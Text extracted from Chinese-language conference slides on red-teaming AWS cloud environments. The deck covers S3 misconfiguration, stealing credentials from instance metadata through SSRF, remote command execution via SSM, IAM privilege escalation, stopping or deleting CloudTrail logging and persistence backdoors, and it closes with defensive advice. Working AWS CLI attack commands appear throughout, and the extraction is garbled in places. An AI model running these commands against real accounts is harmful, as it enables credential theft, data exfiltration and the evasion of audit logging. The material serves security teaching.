1、主講人:主講人:Loki Loki 斗象科技高級安全研究員斗象科技高級安全研究員Red Teaming for Cloud:云上攻防目錄介紹01云安全概述02前置知識03云上攻擊04安全防護云安全概述云安全概述PART 01云安全概述云安全攻擊事件2010年 Microsoft云服務軟件配置錯誤數據泄露2012年 Dropbox 泄漏了超過6800萬個用戶帳戶包括電子郵件地址和密碼2013年 Yahoo 超過10億個用戶帳戶遭到了攻擊2017年 wwe S3配置不當 泄露300多萬個人用戶信息2016年5月 黑客偷走了大約1.67億個LiknedIn電子郵件地址和密碼2019年7月 Capit
2、al One金融公司泄露80000多個銀行賬號與社保信息云安全概述國內外常見的云平臺云安全概述云安全概述云安全概述前置知識前置知識PART 02前置知識AWS Identity and Access Management(IAM)是一項 Web 服務,可使 Amazon Web Services(AWS)客戶在 AWS 中進行用戶管理和用戶權限。該服務主要針對擁有多用戶或多系統且使用 AWS 產品(例如 Amazon EC2、Amazon SimpleDB 及 AWS 管理控制臺)的組織。借助 IAM,可以集中管理用戶、安全證書(例如訪問密鑰),以及控制用戶可訪問哪些 AWS 資源的權限。用戶
3、(users)群組(groups)角色(roles)策略(Policy)前置知識Metadata 實例元數據 是有關實例的數據,可以用來配置或管理正在運行的實例。實例元數據分為幾類,例如,主機名、事件和安全組。EC2元數據IPAWS通過專用HTTP接口為EC2實例提供了實例元數據,該接口只能由虛擬服務器本身訪問。元數據的類別通過以下URL公開給所有EC2實例:http:/169.254.169.254/latest/meta-data/http:/169.254.169.254/latest/meta-data/iam/info 獲取附加實例的信息http:/169.254.169.254/l
4、atest/meta-data/iam/security-credentials/test 獲取臨時令牌云上攻擊云上攻擊PART 03S3存儲桶權限配置問題S3存儲桶配置權限不當泄漏數據url訪問s3.區域 或存儲桶名Bucket未授權訪問:經過錯誤配置后,匿名用戶就可以列出、讀取或者寫入S3 bucket。Bucket半公開訪問:經過配置后“通過身份認證的用戶”就可以訪問S3 bucket。這就意味著只要經過AWS的認證,任何人都可以訪問這些資源。S3存儲桶權限配置問題對S3配置不當擴大攻擊惡意代碼注入如beef框架S3存儲桶劫持當s3存儲桶服務注銷時,通過創建相同名稱s3進行劫持憑證泄漏常
5、見的憑證泄漏在查找的過程中留意AccessKey/Secretkey通常會在APK文件、Github關鍵詞、Web頁面、JS文件、常規配置文件、Debug與錯誤頁面。發現AK/SK可以通過行云管家、OSS Browser、API Explorer、AWS CLI進行連接從SSRF到RCE發現一個具有登錄頁面的應用程序,該應用程序提供了用戶注冊功能。登錄后,應用程序允許用戶輸入URL,服務器將代表該用戶發出Web請求。獲取臨時憑證http:/169.254.169.254/latest/meta-data/iam/security-credentials/ec2serverhealthrole從
6、SSRF到RCEaws s3 ls-profile stolencredsaws s3 ls s3:/data.serverhealth-corporation-profile stolencredsaws s3 sync s3:/data.serverhealth-corporation.-profile stolencredsWhoami返回關于憑證 IAM用戶或角色的詳細信息從SSRF到RCE從SSRF到RCEaws ssm describe-instance-information profile stolencreds從SSRF到RCEaws ssm send-command-ins
7、tance-ids INSTANCE-ID-HERE-document-name AWS-RunShellScript-comment IP Config-parameters commands=ifconfig-output text-query Command.CommandId-profile stolencredsaws ssm list-command-invocations-command-id COMMAND-ID-HERE-details-query CommandInvocations.CommandPlugins.Status:Status,Output:Output-pr
8、ofile tolencreds然后使用上面describe-instance-information命令中返回的instanceid,我們運行send-command和list-command-invocations分別執行和讀取輸出ifconfig。從SSRF到RCE命令執行AWS UserData 命令執行在Amazon EC2中啟動實例時,可以選擇將用戶數據傳遞到該實例,該數據可用于執行常見的自動配置任務,在實例啟動后將運行腳本aws ec2 modify-instance-attribute-instance-id target instance-attribute userData
9、-value file:/modified_user_data.shmodified_user_data.sh需要進行Base64編碼權限提升IAM權限提升 28個威脅權限iam:CreatePolicyVersioniam:SetDefaultPolicyVersioniam:PassRoleec2:RunInstancesiam:CreateAccessKeyiam:CreateLoginProfileiam:UpdateLoginProfileiam:AttachUserPolicyiam:AttachGroupPolicyiam:AttachRolePolicyiam:PutUserP
10、olicyiam:PutGroupPolicyiam:PutRolePolicyiam:AddUserToGroupiam:UpdateAssumeRolePolicysts:AssumeRoleiam:PassRolelambda:CreateFunctionlambda:InvokeFunctionlambda:AddPermissionlambda:CreateEventSourceMappingdynamodb:PutItem(可能)dynamodb:CreateTable(可能)lambda:UpdateFunctionCodeglue:CreateDevEndpointglue:U
11、pdateDevEndpointcloudformation:CreateStackdatapipeline:CreatePipelinedatapipeline:PutPipelineDefinitioncodestar:CreateProjectFromTemplatecodestar:CreateProjectcodestar:AssociateTeamMemberlambda:UpdateFunctionConfigurationsagemaker:CreateNotebookInstancesagemaker:CreatePresignedNotebookInstanceUrl提權詳
12、細信息https:/ 提權輔助檢查https:/ iam_privesc_by_rollbackIAM權限提升aws iam list-attached-user-policies-user-name raynor-profile Raynoraws iam get-policy-policy-arn/cg-raynor-policy-proflie RaynorIAM權限提升aws iam get-policy-version-policy-arn/cg-raynor-policy-profile raynorIAM權限提升aws iam list-policy-versions-polic
13、y-arn/cg-raynor-policy -profile Raynoraws iam set-default-policy-version-policy-arn/cg-raynor-policy-version-id -profile Raynor繞過CloudTrailAWS CloudTrail 是一項 AWS 服務,可幫助對您的 AWS 賬戶進行監管、合規性檢查、操作審核和風險審核。用戶、角色或 AWS 服務執行的操作將記錄為 CloudTrail 中的事件。事件包括在 AWS 管理控制臺、AWS Command Line Interface 和 AWS 開發工具包和 API 中執
14、行的操作。簡化了安全性分析,資源更改檢測,故障排除等過程。繞過CloudTrail讓我們看看啟用了哪些CloudTrailsaws cloudtrail describe-trails刪除CloudTrailsaws cloudtrail delete-trail-name my-trail暫停aws cloudtrail stop-logging-name my-trail反向操作-刪除或替換日志存儲桶替換aws cloudtrail update-trail-name my-trail-s3-bucket-name cyber-patsy-bucket刪除aws s3 rb-force s
15、3:/my-bucket持久化使用高權限賬戶修改用戶數據(bash 反彈)給現有用戶分配額外的密鑰https:/ Lambda函數,可以不斷刪除某個用戶再創建它,實現干擾刪除用戶的事件記錄系統。2.2.cli_lambdacli_lambda Lambda函數,可以無需憑證創建AWS CLI代理3.3.backdoor_created_users_lambdabackdoor_created_users_lambda Lambda函數,可以給新用戶添加密鑰4.4.backdoor_created_roles_lambdabackdoor_created_roles_lambda Lambda函
16、數,給新用戶之間添加信任關系5.5.backdoor_created_security_groups_lambdabackdoor_created_security_groups_lambda Lambda函數,把新入站規則應用到所有安全組6.6.backdoor_all_usersbackdoor_all_users 可以給賬戶中的用戶添加密鑰7.7.backdoor_all_rolesbackdoor_all_roles 可以給所有用戶之間添加信任關系(設置ARN)思路擴展對核心人員的釣魚攻擊通過分析目標架構與常使用服務的供應鏈攻擊對目標使用云服務商的定點攻擊到云服務管理網絡安全防護安全防護PART 04安全防護管理員可以將EC2實例元數據結點升級到IMDSv2,這樣可以保護EC2實例免遭SSRF的攻擊sudo iptables-append OUTPUT-proto tcp-destination 169.254.169.254-match owner-uid-owner apache-jump REJECT除了極少數需要使用它的用戶(遵循最小權限原則),刪除所有用戶的CloudTrail管理權限你定期使用免費工具觀察消費和使用情況,例如 Trusted Advisor.定期查看CloudTrail日志,以防止攻擊者替換日志的S3儲存桶學習資源